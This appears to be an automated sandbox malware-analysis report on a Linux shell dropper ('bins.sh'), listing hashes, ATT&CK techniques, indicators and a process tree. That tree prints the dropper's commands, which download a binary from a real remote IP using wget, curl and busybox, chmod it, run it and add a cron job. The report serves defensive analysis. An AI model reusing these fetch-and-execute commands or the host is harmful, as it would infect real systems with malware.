f3b37a4959c6343e3e1368fd68c6e8ef5da2e811cc7df5e5cd289399c5667878

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24-11-2024 05:16

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General

Target

bins.sh
Size

10KB
MD5

2eff4db1aec35dadd57ea962525f018b
SHA1

3d3b257f08b34cca400f3a527e8af3bc9bbc2770
SHA256

f3b37a4959c6343e3e1368fd68c6e8ef5da2e811cc7df5e5cd289399c5667878
SHA512

9ada41178570c692b386fcee9c50d4de9e4e3678c1c0f9ac27321bc96050a1f7bf301c57961379b0ad415b677a85b50d0d3b27ccdb98b4ed25c0676b1aa2bfec
SSDEEP

192:mdFW7YIy7q5qZq5EdIkxxs7q27FYIvJpvRRh7A/ALA94wy7jnDtmJpIaTXQ08atE:FGI/HUIE94wyBP5IE94wTLB

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2136) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
681	chmod

Executes dropped EXE 1 IoCs

Processes:

U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

ioc	pid	Process
/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	682	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

Renames itself 1 IoCs

Processes:

U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

pid	Process
683	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.YUeOU4	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

U59jXOydvquUhHn4MKkSAbnLlVezXQJxQTcurl

description	ioc	Process
File opened for reading	/proc/992/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/15/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/890/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/892/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/948/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/978/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/991/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/865/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/943/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/752/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/977/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/803/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/18/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/739/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/769/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/915/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/935/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/1009/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/595/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/722/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/726/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/916/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/728/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/748/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/819/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/843/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/921/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/1/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/19/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/43/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/829/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/831/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/881/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/9/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/648/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/768/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/1000/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/278/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/707/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/718/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/957/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/23/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/741/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/930/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/859/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/867/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/876/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/877/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/907/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/599/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/798/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/827/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/958/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/998/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/805/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/913/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/918/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/1001/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/24/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/649/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/725/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/792/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
File opened for reading	/proc/800/cmdline	U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	wget
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	curl
File opened for modification	/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:651
- /usr/bin/wget
  wget http://87.120.125.191/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Writes file to tmp directory
  PID:653
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:670
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  ./U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:682
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:684
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:685
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:686
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:687
- /bin/rm
  rm U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT
  2⤵
  PID:693
- /usr/bin/wget
  wget http://87.120.125.191/bins/gFfQeXnyA0slYHWDWAt3QOGdl0H6zzPSCM
  2⤵
  PID:696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/U59jXOydvquUhHn4MKkSAbnLlVezXQJxQT

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.YUeOU4

Filesize
210B

MD5
a36b269f69477134611c5ee5f14bec00

SHA1
be89e44d0c604f31af8ad8d1e43f9d922590f777

SHA256
39a11717107395b58f735ac68a971ee51f0621bde40a365b601c85da08a02035

SHA512
bf0c6496aabf05ff946cc29c9e9a2d7618233a03a75778a3f7ab938a4e87e9e7f0d656686bcce3a9b6c5113afc3725ee95b40df6c7058dd8396878e91cc8f378

Download Submit